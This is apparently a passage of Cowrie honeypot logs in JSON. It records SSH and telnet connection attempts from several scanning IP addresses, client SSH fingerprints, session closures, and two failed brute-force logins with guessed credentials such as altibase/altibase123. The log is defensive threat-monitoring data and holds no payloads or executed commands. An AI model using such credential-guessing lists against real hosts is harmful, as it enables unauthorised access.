{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42084,"dst_ip":"159.203.135.109","dst_port":22,"session":"07b3f8a76c4a","protocol":"ssh","message":"New connection: 159.203.92.129:42084 (159.203.135.109:22) [session: 07b3f8a76c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:30.656231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:30.661971Z","src_ip":"159.203.92.129","session":"07b3f8a76c4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:30.666670Z","src_ip":"159.203.92.129","session":"07b3f8a76c4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"altibase","password":"altibase123","message":"login attempt [altibase/altibase123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:30.677996Z","src_ip":"159.203.92.129","session":"07b3f8a76c4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54194,"dst_ip":"10.17.0.5","dst_port":23,"session":"0224552cffd1","protocol":"telnet","message":"New connection: 169.38.112.222:54194 (10.17.0.5:23) [session: 0224552cffd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:30.822629Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":48706,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eda43d5e81d","protocol":"telnet","message":"New connection: 152.53.125.71:48706 (10.17.0.5:23) [session: 1eda43d5e81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:30.828389Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":48708,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7df817fbe4c","protocol":"telnet","message":"New connection: 152.53.125.71:48708 (10.17.0.5:23) [session: f7df817fbe4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:31.237486Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:31.701339Z","src_ip":"159.203.92.129","session":"07b3f8a76c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.23040318489075,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:32.201337Z","src_ip":"159.203.13.64","session":"cfda8cf2b443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.585365772247314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:32.250327Z","src_ip":"152.53.125.71","session":"d16b8a2e80ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":48716,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c2b92d6357","protocol":"telnet","message":"New connection: 152.53.125.71:48716 (10.17.0.5:23) [session: 05c2b92d6357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:32.374057Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":53330,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f66e4707ed6","protocol":"telnet","message":"New connection: 159.203.13.64:53330 (10.17.0.5:23) [session: 2f66e4707ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:32.945027Z"}
{"eventid":"cowrie.session.closed","duration":30.716475009918213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:33.343431Z","src_ip":"152.53.125.71","session":"5fcb8a84caed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":48732,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6165a349131","protocol":"telnet","message":"New connection: 152.53.125.71:48732 (10.17.0.5:23) [session: b6165a349131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:33.403792Z"}
{"eventid":"cowrie.session.closed","duration":30.928770065307617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:35.362939Z","src_ip":"152.53.125.71","session":"33fa28bf971e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.732511043548584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:35.390407Z","src_ip":"152.53.125.71","session":"f3ec21e0dec4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.360203981399536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:35.611157Z","src_ip":"152.53.125.71","session":"20d3d35e1fb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6137797832489,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:35.895430Z","src_ip":"152.53.125.71","session":"ed4691f4591d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54202,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0d04ea9c5a5","protocol":"telnet","message":"New connection: 169.38.112.222:54202 (10.17.0.5:23) [session: a0d04ea9c5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:35.927620Z"}
{"eventid":"cowrie.session.closed","duration":30.899144411087036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:36.128822Z","src_ip":"152.53.125.71","session":"0e56d6335fb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35062,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aa67b1dd75a","protocol":"telnet","message":"New connection: 152.53.125.71:35062 (10.17.0.5:23) [session: 7aa67b1dd75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:36.343095Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35066,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfc0aedcc74","protocol":"telnet","message":"New connection: 152.53.125.71:35066 (10.17.0.5:23) [session: 9dfc0aedcc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:36.544423Z"}
{"eventid":"cowrie.session.closed","duration":30.813884973526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:37.208626Z","src_ip":"152.53.125.71","session":"3d0baf8dd194","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35074,"dst_ip":"10.17.0.5","dst_port":23,"session":"56ce0ece1ed4","protocol":"telnet","message":"New connection: 152.53.125.71:35074 (10.17.0.5:23) [session: 56ce0ece1ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:37.231631Z"}
{"eventid":"cowrie.session.closed","duration":30.846768856048584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:37.437354Z","src_ip":"152.53.125.71","session":"bd5e515d0111","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853825569152832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:38.287620Z","src_ip":"152.53.125.71","session":"d5902b71cfe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":51462,"dst_ip":"10.17.0.5","dst_port":23,"session":"db8e8e448cb2","protocol":"telnet","message":"New connection: 169.38.112.222:51462 (10.17.0.5:23) [session: db8e8e448cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:38.813704Z"}
{"eventid":"cowrie.session.closed","duration":30.79668641090393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:39.347476Z","src_ip":"152.53.125.71","session":"e4089c572320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.059317350387573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:40.379588Z","src_ip":"152.53.125.71","session":"561056574c61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35086,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8cc0d894381","protocol":"telnet","message":"New connection: 152.53.125.71:35086 (10.17.0.5:23) [session: c8cc0d894381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:40.618290Z"}
{"eventid":"cowrie.session.closed","duration":40.40720510482788,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:40.825153Z","src_ip":"159.203.13.64","session":"dbf935d6de92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067374229431152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:43.121030Z","src_ip":"169.38.112.222","session":"7b6c25753f09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.790178775787354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:44.155546Z","src_ip":"152.53.125.71","session":"40fb19bf9de3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864238262176514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:44.359940Z","src_ip":"152.53.125.71","session":"ddba009556a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950266122817993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:44.365456Z","src_ip":"152.53.125.71","session":"83849e358dd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35102,"dst_ip":"10.17.0.5","dst_port":23,"session":"6835fc1a40cf","protocol":"telnet","message":"New connection: 152.53.125.71:35102 (10.17.0.5:23) [session: 6835fc1a40cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:44.480741Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35118,"dst_ip":"10.17.0.5","dst_port":23,"session":"afe2af8ae3d0","protocol":"telnet","message":"New connection: 152.53.125.71:35118 (10.17.0.5:23) [session: afe2af8ae3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:44.610712Z"}
{"eventid":"cowrie.session.closed","duration":39.87966227531433,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:44.654284Z","src_ip":"159.203.13.64","session":"5c1e5501d32b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.334590435028076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:44.884492Z","src_ip":"152.53.125.71","session":"9c85f330a04c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":51476,"dst_ip":"10.17.0.5","dst_port":23,"session":"8071e3aae39c","protocol":"telnet","message":"New connection: 169.38.112.222:51476 (10.17.0.5:23) [session: 8071e3aae39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:45.104686Z"}
{"eventid":"cowrie.session.closed","duration":30.587279558181763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:45.135612Z","src_ip":"169.38.112.222","session":"8dd0affe6aa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85377311706543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:45.324892Z","src_ip":"152.53.125.71","session":"117de8bdedce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.799947500228882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:45.489710Z","src_ip":"152.53.125.71","session":"bb0af0335759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":51492,"dst_ip":"10.17.0.5","dst_port":23,"session":"764b45573def","protocol":"telnet","message":"New connection: 169.38.112.222:51492 (10.17.0.5:23) [session: 764b45573def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:45.683656Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47314,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea6a55de4032","protocol":"telnet","message":"New connection: 159.203.13.64:47314 (10.17.0.5:23) [session: ea6a55de4032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:47.633128Z"}
{"eventid":"cowrie.session.closed","duration":30.796918869018555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:48.177267Z","src_ip":"169.38.112.222","session":"57a5b07524c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55140,"dst_ip":"10.17.0.5","dst_port":23,"session":"db5389b3c859","protocol":"telnet","message":"New connection: 152.53.125.71:55140 (10.17.0.5:23) [session: db5389b3c859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:48.269665Z"}
{"eventid":"cowrie.session.closed","duration":30.57781720161438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:49.126284Z","src_ip":"169.38.112.222","session":"23d60461f22f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89638924598694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:49.275031Z","src_ip":"152.53.125.71","session":"dcbdd8831340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":40050,"dst_ip":"10.17.0.5","dst_port":22,"session":"0516381876e1","protocol":"ssh","message":"New connection: 45.78.194.242:40050 (10.17.0.5:22) [session: 0516381876e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:49.833065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:49.837574Z","src_ip":"45.78.194.242","session":"0516381876e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.41381001472473,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:49.855818Z","src_ip":"159.203.13.64","session":"5c45a854c3c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884642839431763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:50.256189Z","src_ip":"152.53.125.71","session":"386a9a809d21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472658395767212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:50.260942Z","src_ip":"152.53.125.71","session":"0120228c2e8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.298558235168457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:51.360595Z","src_ip":"152.53.125.71","session":"4242ac71bbb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":54736,"dst_ip":"159.203.135.109","dst_port":22,"session":"c86e2a27bc1a","protocol":"ssh","message":"New connection: 103.215.80.173:54736 (159.203.135.109:22) [session: c86e2a27bc1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:51.920025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:51.924104Z","src_ip":"103.215.80.173","session":"c86e2a27bc1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.29550838470459,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:51.927431Z","src_ip":"159.203.13.64","session":"539d9b364962","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:52.145230Z","src_ip":"103.215.80.173","session":"c86e2a27bc1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55148,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8f9e3cd7bcf","protocol":"telnet","message":"New connection: 152.53.125.71:55148 (10.17.0.5:23) [session: c8f9e3cd7bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:52.271822Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55164,"dst_ip":"10.17.0.5","dst_port":23,"session":"dabf70a588bd","protocol":"telnet","message":"New connection: 152.53.125.71:55164 (10.17.0.5:23) [session: dabf70a588bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:52.364535Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":39946,"dst_ip":"10.17.0.5","dst_port":23,"session":"31e8db8bf68c","protocol":"telnet","message":"New connection: 169.38.112.222:39946 (10.17.0.5:23) [session: 31e8db8bf68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:52.567968Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2025","message":"login attempt [ubuntu/2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:53.019016Z","src_ip":"103.215.80.173","session":"c86e2a27bc1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.912511348724365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:54.140875Z","src_ip":"169.38.112.222","session":"f5819f30b038","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:54.231846Z","src_ip":"103.215.80.173","session":"c86e2a27bc1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55172,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e16d35c5f11","protocol":"telnet","message":"New connection: 152.53.125.71:55172 (10.17.0.5:23) [session: 9e16d35c5f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:54.585724Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":55188,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a1600880583","protocol":"telnet","message":"New connection: 152.53.125.71:55188 (10.17.0.5:23) [session: 9a1600880583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:54.593284Z"}
{"eventid":"cowrie.session.closed","duration":30.557846784591675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:55.120843Z","src_ip":"169.38.112.222","session":"832ec1fcfab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80136466026306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:55.187621Z","src_ip":"152.53.125.71","session":"e8ba10469387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39850,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed72d6902db9","protocol":"telnet","message":"New connection: 152.53.125.71:39850 (10.17.0.5:23) [session: ed72d6902db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:55.302588Z"}
{"eventid":"cowrie.session.closed","duration":30.918896913528442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:55.319439Z","src_ip":"152.53.125.71","session":"13465cf25904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39852,"dst_ip":"10.17.0.5","dst_port":23,"session":"29a134811dd5","protocol":"telnet","message":"New connection: 152.53.125.71:39852 (10.17.0.5:23) [session: 29a134811dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:56.272613Z"}
